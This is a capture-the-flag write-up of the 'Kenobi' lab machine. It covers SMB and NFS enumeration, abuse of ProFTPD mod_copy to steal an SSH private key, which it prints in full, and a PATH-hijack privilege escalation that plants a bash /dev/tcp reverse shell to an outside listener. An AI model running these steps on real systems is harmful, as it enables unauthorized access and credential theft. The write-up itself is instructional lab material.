Kenobi writeup
Task 1: Deploy the vulnerable machine
Target IP Address:
10.49.133.63
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| ┌──(root㉿kali)-[~]
└─# nmap -sV -O 10.49.133.63
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 06:06 -0400
Nmap scan report for 10.49.133.63
Host is up (0.038s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
2049/tcp open nfs 3-4 (RPC #100003)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=9/24%OT=21%CT=1%CU=41785%PV=Y%DS=3%DC=I%G=Y%TM=6AB4F62
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=103%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=106%TI=Z%
OS:CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=FE%GC
OS:D=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E
OS:8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)WIN(W1=F4B3%W2=F4B3%
OS:W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%CC
OS:=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=
OS:Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=
OS:G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 3 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.39 seconds
|
Task 2: Enumerating Samba for shares
https://0xdf.gitlab.io/cheatsheets/smb-enum
Enumerate Host
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| ┌──(root㉿kali)-[~]
└─# netexec smb 10.49.133.63
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating missing folder logs/sam
[*] Creating missing folder logs/lsa
[*] Creating missing folder logs/ntds
[*] Creating missing folder logs/dpapi
[*] Creating default workspace
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing VNC protocol database
[*] Initializing NFS protocol database
[*] Initializing FTP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing WMI protocol database
[*] Copying default configuration file
SMB 10.49.133.63 445 KENOBI [*] Unix - Samba (name:KENOBI) (domain:KENOBI) (signing:False) (SMBv1:None) (Null Auth:True)
|
List Shares
1
2
3
4
5
6
7
8
9
10
11
12
| ┌──(root㉿kali)-[~]
└─# smbclient -N -L //10.49.133.63
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
anonymous Disk
IPC$ IPC IPC Service (kenobi server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.49.133.63 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
|
Enumerate Files
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| ┌──(root㉿kali)-[~]
└─# smbclient //10.49.133.63/anonymous -N
Try "help" to get a list of possible commands.
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
mkfifo more mput newer notify
open posix posix_encrypt posix_open posix_mkdir
posix_rmdir posix_unlink posix_whoami print prompt
put pwd q queue quit
readlink rd recurse reget rename
reput rm rmdir showacls setea
setmode scopy stat symlink tar
tarmode timeout translate unlock volume
vuid wdel logon listconnect showconnect
tcon tdis tid utimes logoff
.. !
smb: \> ls
. D 0 Wed Sep 4 06:49:09 2019
.. D 0 Sat Aug 9 09:03:22 2025
log.txt N 12237 Wed Sep 4 06:49:09 2019
9183416 blocks of size 1024. 2991480 blocks available
smb: \> get log.txt /home/kali/tmp/log.txt
getting file \log.txt of size 12237 as /home/kali/tmp/log.txt (78.6 KiloBytes/sec) (average 79.7 KiloBytes/sec)
|
In the log.txt, we find it uses ssh key pair to login
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+
|
And the samba server allows anonymous login, but is needs password
1
2
3
4
5
| [anonymous]
path = /home/kenobi/share
browseable = yes
read only = yes
guest ok = yes
|
Seems like the ftp server allows anonymous login
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
| # This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
# Port 21 is the standard FTP port.
Port 21
# Don't use IPv6 support by default.
UseIPv6 off
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask 022
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances 30
# Set the user and group under which the server will run.
User kenobi
Group kenobi
# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~
# Normally, we want files to be overwriteable.
AllowOverwrite on
# Bar use of SITE CHMOD by default
<Limit SITE_CHMOD>
DenyAll
</Limit>
# A basic anonymous configuration, no upload directories. If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
User ftp
Group ftp
# We want clients to be able to login with "anonymous" as well as "ftp"
UserAlias anonymous ftp
# Limit the maximum number of anonymous logins
MaxClients 10
# We want 'welcome.msg' displayed at login, and '.message' displayed
# in each newly chdired directory.
DisplayLogin welcome.msg
DisplayChdir .message
# Limit WRITE everywhere in the anonymous chroot
<Limit WRITE>
DenyAll
</Limit>
</Anonymous>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| ┌──(root㉿kali)-[~]
└─# nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.49.133.63
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 08:13 -0400
Nmap scan report for 10.49.133.63
Host is up (0.036s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /var
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 .
| ?????????? ? ? ? ? ..
| rwxr-xr-x 0 0 4096 2026-09-24T11:25:01 backups
| rwxr-xr-x 0 0 4096 2025-08-10T06:48:58 cache
| rwxrwxrwx 0 0 4096 2019-09-04T08:43:56 crash
| rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local
| rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock
| rwxrwxr-x 0 108 4096 2026-09-24T10:05:09 log
| rwxr-xr-x 0 0 4096 2025-08-09T13:38:21 snap
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www
|_
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /var 9183416.0 5710384.0 2982436.0 66% 16.0T 32000
| nfs-showmount:
|_ /var *
Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds
|
Task 3: Gain initial access with ProFtpd
Seach ProFTPD 1.3.5 on expolitdb, and we find the ProFTPd 1.3.5 - ‘mod_copy’ Remote Command Execution: https://www.exploit-db.com/exploits/49908
Use these ftp commands to copy the private key to the smb share folder
http://www.proftpd.org/docs/contrib/mod_copy.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| SITE CPFR
This SITE command specifies the source file/directory to use for copying from one place to another directly on the server.
The syntax for SITE CPFR is:
SITE CPFR source-path
See also: SITE CPTO
SITE CPTO
This SITE command specifies the destination file/directory to use for copying from one place to another directly on the server.
The syntax for SITE CPTO is:
SITE CPTO destination-path
A client wishing to copy a file/directory first sends a SITE CPFR command, then a SITE CPTO; this is similar to how renames are handled using RNFR and RNTO.
Use of these SITE command can be controlled via <Limit> sections, e.g.:
<Limit SITE_COPY>
AllowUser alex
DenyAll
</Limit>
See also: SITE CPFR
|
1
2
| site cpfr /home/kenobi/.ssh/id_rsa
site cpto /home/kenobi/share
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| ┌──(root㉿kali)-[/home/kali/tmp]
└─# ftp 10.49.133.63
Connected to 10.49.133.63.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.49.133.63]
Name (10.49.133.63:kali): ftp
331 Anonymous login ok, send your complete email address as your password
Password:
530 Login incorrect.
ftp: Login failed
ftp> site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
ftp> site cpto /home/kenobi/share/id_rsa
250 Copy successful
|
1
2
3
4
5
6
7
8
9
10
11
| smb: \> pwd
Current directory is \\10.49.133.63\anonymous\
smb: \> ls
. D 0 Thu Sep 24 07:51:25 2026
.. D 0 Sat Aug 9 09:03:22 2025
id_rsa N 1675 Thu Sep 24 07:51:25 2026
log.txt N 12237 Wed Sep 4 06:49:09 2019
9183416 blocks of size 1024. 2990636 blocks available
smb: \> get id_rsa /home/kali/tmp/id_rsa
getting file \id_rsa of size 1675 as /home/kali/tmp/id_rsa (11.2 KiloBytes/sec) (average 57.3 KiloBytes/sec)
|
check the rsa private key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| ┌──(kali㉿kali)-[~/tmp]
└─$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4PeD0e0522UEj7xlrLmN68R6iSG3HMK/aTI812CTtzM9gnXs
qpweZL+GJBB59bSG3RTPtirC3M9YNTDsuTvxw9Y/+NuUGJIq5laQZS5e2RaqI1nv
U7fXEQlJrrlWfCy9VDTlgB/KRxKerqc42aU+/BrSyYqImpN6AgoNm/s/753DEPJt
dwsr45KFJOhtaIPA4EoZAq8pKovdSFteeUHikosUQzgqvSCv1RH8ZYBTwslxSorW
y3fXs5GwjitvRnQEVTO/GZomGV8UhjrT3TKbPhiwOy5YA484Lp3ES0uxKJEnKdSt
otHFT4i1hXq6T0CvYoaEpL7zCq7udl7KcZ0zfwIDAQABAoIBAEDl5nc28kviVnCI
ruQnG1P6eEb7HPIFFGbqgTa4u6RL+eCa2E1XgEUcIzxgLG6/R3CbwlgQ+entPssJ
dCDztAkE06uc3JpCAHI2Yq1ttRr3ONm95hbGoBpgDYuEF/j2hx+1qsdNZHMgYfqM
bxAKZaMgsdJGTqYZCUdxUv++eXFMDTTw/h2SCAuPE2Nb1f1537w/UQbB5HwZfVry
tRHknh1hfcjh4ZD5x5Bta/THjjsZo1kb/UuX41TKDFE/6+Eq+G9AvWNC2LJ6My36
YfeRs89A1Pc2XD08LoglPxzR7Hox36VOGD+95STWsBViMlk2lJ5IzU9XVIt3EnCl
bUI7DNECgYEA8ZymxvRV7yvDHHLjw5Vj/puVIQnKtadmE9H9UtfGV8gI/NddE66e
t8uIhiydcxE/u8DZd+mPt1RMU9GeUT5WxZ8MpO0UPVPIRiSBHnyu+0tolZSLqVul
rwT/nMDCJGQNaSOb2kq+Y3DJBHhlOeTsxAi2YEwrK9hPFQ5btlQichMCgYEA7l0c
dd1mwrjZ51lWWXvQzOH0PZH/diqXiTgwD6F1sUYPAc4qZ79blloeIhrVIj+isvtq
mgG2GD0TWueNnddGafwIp3USIxZOcw+e5hHmxy0KHpqstbPZc99IUQ5UBQHZYCvl
SR+ANdNuWpRTD6gWeVqNVni9wXjKhiKM17p3RmUCgYEAp6dwAvZg+wl+5irC6WCs
dmw3WymUQ+DY8D/ybJ3Vv+vKcMhwicvNzvOo1JH433PEqd/0B0VGuIwCOtdl6DI9
u/vVpkvsk3Gjsyh5gFI8iZuWAtWE5Av4OC5bwMXw8ZeLxr0y1JKw8ge9NSDl/Pph
YNY61y+DdXUvywifkzFmhYkCgYB6TeZbh9XBVg3gyhMnaQNzDQFAUlhM7n/Alcb7
TjJQWo06tOlHQIWi+Ox7PV9c6l/2DFDfYr9nYnc67pLYiWwE16AtJEHBJSHtofc7
P7Y1PqPxnhW+SeDqtoepp3tu8kryMLO+OF6Vv73g1jhkUS/u5oqc8ukSi4MHHlU8
H94xjQKBgExhzreYXCjK9FswXhUU9avijJkoAsSbIybRzq1YnX0gSewY/SB2xPjF
S40wzYviRHr/h0TOOzXzX8VMAQx5XnhZ5C/WMhb0cMErK8z+jvDavEpkMUlR+dWf
Py/CLlDCU4e+49XBAPKEmY4DuN+J2Em/tCz7dzfCNS/mpsSEn0jo
-----END RSA PRIVATE KEY-----
|
And we connect the server via ssh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| ┌──(root㉿kali)-[~]
└─# ssh -i /home/kali/tmp/id_rsa kenobi@10.49.133.63
The authenticity of host '10.49.133.63 (10.49.133.63)' can't be established.
ED25519 key fingerprint is: SHA256:Y3GbCXpo2Nl2zQtQWFJsY72Ft+CP5MZxmEK3W4M6F/4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.49.133.63' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for '/home/kali/tmp/id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "/home/kali/tmp/id_rsa": bad permissions
kenobi@10.49.133.63's password:
┌──(root㉿kali)-[~]
└─# chmod 600 /home/kali/tmp/id_rsa
┌──(root㉿kali)-[~]
└─# ssh -i /home/kali/tmp/id_rsa kenobi@10.49.133.63
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu 24 Sep 2026 07:02:55 AM CDT
System load: 0.0 Processes: 127
Usage of /: 62.2% of 8.76GB Users logged in: 0
Memory usage: 16% IPv4 address for ens5: 10.49.133.63
Swap usage: 0%
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
40 additional security updates can be applied with ESM Infra.
Learn more about enabling ESM Infra service for Ubuntu 20.04 at
https://ubuntu.com/20-04
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Sat Aug 9 07:57:51 2025 from 10.23.8.228
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$ whoami
kenobi
kenobi@kenobi:~$ id
uid=1000(kenobi) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
|
1
2
3
4
5
6
| kenobi@kenobi:~$ pwd
/home/kenobi
kenobi@kenobi:~$ ls
share user.txt
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
|
Task 4: Privilege Escalation with Path Variable Manipulation
Find the file with SUID bit set
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/snap/core20/2599/usr/bin/chfn
/snap/core20/2599/usr/bin/chsh
/snap/core20/2599/usr/bin/gpasswd
/snap/core20/2599/usr/bin/mount
/snap/core20/2599/usr/bin/newgrp
/snap/core20/2599/usr/bin/passwd
/snap/core20/2599/usr/bin/su
/snap/core20/2599/usr/bin/sudo
/snap/core20/2599/usr/bin/umount
/snap/core20/2599/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2599/usr/lib/openssh/ssh-keysign
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/su
|
/usr/bin/menu is a user write binary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Thu, 24 Sep 2026 13:19:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
5.15.0-139-generic
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 10.49.133.63 netmask 255.255.192.0 broadcast 10.49.191.255
inet6 fe80::8ff:dbff:fe5b:d055 prefixlen 64 scopeid 0x20<link>
ether 0a:ff:db:5b:d0:55 txqueuelen 1000 (Ethernet)
RX packets 13051 bytes 19514066 (19.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 18030 bytes 8405426 (8.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1182 bytes 122891 (122.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1182 bytes 122891 (122.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
|
1
2
3
4
5
6
7
| kenobi@kenobi:~$ ls -l /usr/bin/menu
-rwsr-xr-x 1 root root 8880 Sep 4 2019 /usr/bin/menu
kenobi@kenobi:~$ file /usr/bin/menu
/usr/bin/menu: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0928a845a7eef506cb3bb698377bf15bfd0dcb47, not stripped
kenobi@kenobi:~$ dpkg -S /usr/bin/menu
dpkg-query: no path found matching pattern /usr/bin/menu
|
Check the string in the binary
1
| kenobi@kenobi:~$ strings /usr/bin/menu | less
|
1
2
3
4
5
6
7
8
9
| ***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
Invalid choice
|
These three commands are relavant path
1
2
3
4
5
6
7
8
9
| kenobi@kenobi:~$ echo "$PATH"
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
kenobi@kenobi:~$ command -v curl
/usr/bin/curl
kenobi@kenobi:~$ command -v uname
/bin/uname
kenobi@kenobi:~$ command -v ifconfig
/sbin/ifconfig
|
Notify that the /home/kenobi/bin is in the first place of $PATH, and it does not exist.
That means if we put a reverse shell under the /home/kenobi/bin, and named it ifconfig, when we execute the /usr/bin/menu and choose 3, the reverse shell will be executed in root privilege
1
2
| #!/bin/bash
bash -i >& /dev/tcp/192.168.162.207/1234 0>&1
|
1
2
3
4
5
6
7
8
9
10
| kenobi@kenobi:~$ pwd
/home/kenobi
kenobi@kenobi:~$ mkdir bin
kenobi@kenobi:~$ cd bin
kenobi@kenobi:~/bin$ echo "bash -i >& /dev/tcp/192.168.162.207/1234 0>&1" > ifconfig
kenobi@kenobi:~/bin$ cat ifconfig
bash -i >& /dev/tcp/192.168.162.207/1234 0>&1
kenobi@kenobi:~/bin$ chmod 755 ifconfig
kenobi@kenobi:~/bin$ ls -al ifconfig
-rwxr-xr-x 1 kenobi kenobi 46 Sep 24 09:14 ifconfig
|
Listen for the inbound connection
1
2
3
4
| ┌──(root㉿kali)-[~]
└─# nc -lvp 1234
listening on [any] 1234 ...
|
Execute the user binary again, choose 3, and it will execute our reverse shell under the /home/kenobi/bin
1
2
3
4
5
6
7
8
9
| kenobi@kenobi:~/bin$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| ┌──(root㉿kali)-[~]
└─# nc -lvp 1234
listening on [any] 1234 ...
10.48.153.188: inverse host lookup failed: Unknown host
connect to [192.168.162.207] from (UNKNOWN) [10.48.153.188] 56982
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@kenobi:~/bin# whoami
whoami
root
root@kenobi:~/bin# id
id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
root@kenobi:~# cd /root
cd /root
root@kenobi:/root# ls
ls
root.txt
snap
root@kenobi:/root# cat root.txt
cat root.txt
177b3cd8562289f37382721c28381f02
|
